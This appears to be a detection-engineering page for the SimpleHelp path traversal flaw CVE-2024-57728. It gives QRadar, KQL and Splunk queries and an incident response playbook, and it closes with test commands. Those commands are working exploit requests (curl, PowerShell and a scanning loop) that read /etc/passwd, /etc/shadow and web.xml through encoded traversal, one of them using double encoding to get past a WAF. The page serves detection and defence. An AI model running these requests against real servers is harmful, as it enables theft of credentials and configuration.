Detect SimpleHelp Path Traversal Vulnerability (CVE-2024-57728) in IBM QRadar
Detects exploitation of CVE-2024-57728, a path traversal vulnerability (CWE-22) in SimpleHelp remote support software versions 5.5.7 and earlier. Attackers can traverse directory boundaries to read arbitrary files from the server, potentially exposing credentials, configuration files, and sensitive system data. This CVE is listed in CISA's Known Exploited Vulnerabilities catalog.
MITRE ATT&CK
QRadar Detection Query
SELECT
DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') as event_time,
sourceip,
destinationip,
destinationport,
URL,
username,
QIDNAME(qid) as event_name,
logsourcename(logSourceId) as log_source,
'CVE-2024-57728' as cve_reference
FROM events
WHERE
starttime > NOW() - 7 DAYS
AND (
URL IMATCHES '.*(%2e%2e|%252e%252e|\.\./|\.\.%2f|%2f%2e%2e).*'
OR UTF8(payload) IMATCHES '.*(\.\./|\.\.\\/|%2e%2e%2f|%252e%252e%252f).*'
)
AND (
destinationport IN (80, 443, 5850, 5951)
OR logsourcename(logSourceId) IMATCHES '.*simplehelp.*'
)
ORDER BY starttime DESC
LIMIT 1000QRadar AQL query to detect path traversal exploitation attempts targeting SimpleHelp servers by inspecting URL fields and raw payload for directory traversal sequences on known SimpleHelp ports.
Data Sources
Required Tables
False Positives & Tuning
- Authorized red team or penetration testing exercises against SimpleHelp deployments
- Web application scanner false positives during scheduled security assessments
- Log forwarding systems that preserve original raw HTTP requests including encoded characters
- Misconfigured proxy servers that generate path traversal artifacts in forwarded requests
Other platforms for CVE-2024-57728
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1SimpleHelp Path Traversal - Read /etc/passwd via URL-encoded traversal
Expected signal: Web server access log entry with URI containing %2e%2e%2f sequences; network flow showing outbound connection to SimpleHelp port 5850; if successful (HTTP 200), response body will contain /etc/passwd content
- Test 2SimpleHelp Path Traversal - Double URL-encoded traversal for WAF bypass
Expected signal: Web server access log with %252e%252e in URI; detection systems that only decode once will see %2e%2e after first decode pass, requiring double-decode logic to identify traversal
- Test 3SimpleHelp Path Traversal - Target web application configuration file
Expected signal: Windows: PowerShell ScriptBlock logging Event ID 4104 showing Invoke-WebRequest with path traversal URI; network connection to SimpleHelp port 5850; web server access log entry with ../WEB-INF/web.xml in request path
- Test 4SimpleHelp Path Traversal - Automated scan simulation with multiple traversal depths
Expected signal: Multiple web server access log entries with increasing ../ sequences in rapid succession from the same source IP; pattern consistent with automated exploitation tool behavior
Response Playbook
Triage
- Confirm SimpleHelp is deployed in your environment and identify all servers running versions 5.5.7 or earlier using asset inventory or CMDB queries.
- Review web server and application logs for the SimpleHelp server(s) for path traversal sequences (../, %2e%2e, %252e%252e) in the preceding 30 days to establish exploitation timeline.
- Determine if traversal requests successfully returned file content by checking HTTP response codes (200 responses to traversal URIs indicate successful exploitation) and response body sizes.
- Identify source IP addresses of traversal requests and correlate with threat intelligence feeds to distinguish opportunistic scanning from targeted attacks.
- Check SimpleHelp server file system for evidence of accessed sensitive files: review OS audit logs (auditd/Windows Security Events) for file read operations on /etc/passwd, web.xml, configuration files.
Containment
- Immediately apply the vendor patch upgrading SimpleHelp to version 5.5.8 or later per the vendor security advisory; if patching is not immediately possible, place a WAF rule blocking requests containing path traversal sequences (../, %2e%2e, %252e%252e) to the SimpleHelp server.
- If active exploitation is confirmed, isolate the SimpleHelp server from external network access by updating firewall rules to restrict inbound connections to known administrative IPs only, preventing further unauthorized file read.
- Rotate any credentials or secrets stored in files that may have been accessible via path traversal, including service account passwords, API keys, and SSL certificate private keys located on the server.
Evidence Collection
- Collect and preserve complete web server access logs (access.log, error.log) from the SimpleHelp server covering the exploitation window, ensuring log integrity via hash verification before analysis.
- Capture a memory image of the SimpleHelp server process (Java heap dump) if the server was actively serving requests during exploitation to identify in-memory artifacts of accessed file content.
- Export OS-level file access audit logs (Linux: /var/log/audit/audit.log with OPEN syscall records; Windows: Security Event Log 4663 for Object Access) to determine exactly which files were read.
Escalation Criteria
- !Escalate to incident response if path traversal requests successfully read credential files (/etc/passwd, /etc/shadow, web.xml with database passwords, .env files) as this indicates credential compromise requiring broader investigation.
- !Escalate immediately if the SimpleHelp server has access to internal network segments or stores technician credentials, as compromised credentials could enable lateral movement into customer environments supported via the remote help platform.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web server access logs showing GET/POST requests with ../, %2e%2e, or %252e%252e in the URI path - >
OS file access audit records (auditd SYSCALL=openat or Windows Event 4663) for sensitive files like /etc/passwd, web.xml, application.properties - >
SimpleHelp application logs in the SimpleHelp installation directory showing error messages or unusual file access patterns - >
Network flow records showing the source IPs of traversal requests and volume of traffic to SimpleHelp ports (5850, 5951, 443)
Tuning Guidance
Start by scoping detection to specific SimpleHelp server hostnames or IP ranges to reduce false positive volume from unrelated web servers. Tune the HTTP response code filter to focus on 200 responses (successful file reads) rather than alerting on all traversal attempts including blocked ones (403/404). If a WAF is in place that blocks traversal at the perimeter, adjust log sources to the WAF rather than the application server. For high-volume environments, add a minimum traversal depth threshold (>= 2 directory traversals) to filter single-level relative path references that appear in legitimate applications.
Hunting Queries
Retrospective 30-day hunt for path traversal attempts across all web-facing servers, not just known SimpleHelp instances, to identify any missed exploitation activity and scope of scanning campaigns.
CommonSecurityLog
| where TimeGenerated > ago(30d)
| where DeviceVendor has_any ("SimpleHelp", "Apache", "nginx", "IIS")
| where RequestURL has_any ("../", "%2e%2e", "%252e", "..%2f", "%2f%2e%2e")
| summarize TraversalAttempts=count(), UniqueURIs=dcount(RequestURL), SourceIPs=make_set(SourceIP) by DeviceName, RequestURL
| where TraversalAttempts > 1
| order by TraversalAttempts descindex=* sourcetype IN ("access_combined", "iis", "apache:access") earliest=-30d
| rex field=uri "(?<traversal_seq>(?:%252e|%2e|\.){2}(?:%252f|%2f|\/|\\\\))"
| where isnotnull(traversal_seq)
| stats count as attempts, dc(uri) as unique_paths, values(clientip) as source_ips, values(status) as response_codes by host
| where attempts > 0
| sort - attemptsAtomic Red Team Tests
Simulates CVE-2024-57728 exploitation by sending an HTTP GET request with URL-encoded path traversal sequences to read the /etc/passwd file from a SimpleHelp server.
Command
curl -v -k 'http://TARGET_SIMPLEHELP_HOST:5850/files/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'Cleanup
No cleanup required — read-only operation. Review web server logs for the traversal attempt entry.Expected Telemetry
Web server access log entry with URI containing %2e%2e%2f sequences; network flow showing outbound connection to SimpleHelp port 5850; if successful (HTTP 200), response body will contain /etc/passwd content
Expected Detection
Alert from web server log-based detection on path traversal sequence %2e%2e%2f; potential WAF block event if WAF is in path
Tests WAF bypass technique using double URL encoding (%252e%252e%252f) to obfuscate path traversal and attempt to read sensitive configuration files from SimpleHelp server.
Command
curl -v -k 'http://TARGET_SIMPLEHELP_HOST:5850/files/%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fshadow' -H 'Accept: */*' --max-time 10Cleanup
No cleanup required. Verify detection fired on double-encoded traversal sequences and compare with single-encoded detection baseline.Expected Telemetry
Web server access log with %252e%252e in URI; detection systems that only decode once will see %2e%2e after first decode pass, requiring double-decode logic to identify traversal
Expected Detection
Alert should fire on %252e%252e pattern in raw URI; detection rules with only single URL decoding may miss this variant — validates detection coverage for obfuscated traversal
Simulates targeted exploitation of CVE-2024-57728 to read the SimpleHelp web.xml configuration file which may contain database credentials and application secrets.
Command
Invoke-WebRequest -Uri 'http://TARGET_SIMPLEHELP_HOST:5850/files/../../WEB-INF/web.xml' -UseBasicParsing -SkipCertificateCheck | Select-Object -ExpandProperty ContentCleanup
No cleanup required. Document whether web.xml was accessible and review SimpleHelp server logs for the access attempt.Expected Telemetry
Windows: PowerShell ScriptBlock logging Event ID 4104 showing Invoke-WebRequest with path traversal URI; network connection to SimpleHelp port 5850; web server access log entry with ../WEB-INF/web.xml in request path
Expected Detection
Alert on PowerShell network request with path traversal pattern; web server detection on ../../WEB-INF/web.xml URI; Defender for Endpoint NetworkConnectionInitiated event correlated with suspicious PowerShell
Simulates automated exploitation tooling by testing multiple traversal depths to identify the correct depth needed to escape the web root on the SimpleHelp server.
Command
for depth in 2 3 4 5 6; do traversal=$(printf '../%.0s' $(seq 1 $depth)); echo "Testing depth $depth: ${traversal}etc/passwd"; curl -sk "http://TARGET_SIMPLEHELP_HOST:5850/files/${traversal}etc/passwd" -o /tmp/test_depth_${depth}.txt --max-time 5 -w 'HTTP_%{http_code}\n'; doneCleanup
rm -f /tmp/test_depth_*.txtExpected Telemetry
Multiple web server access log entries with increasing ../ sequences in rapid succession from the same source IP; pattern consistent with automated exploitation tool behavior
Expected Detection
Multiple path traversal alerts in short timeframe from same source; rate-based detection on traversal attempts; web server HTTP 200 response to any depth level confirms successful exploitation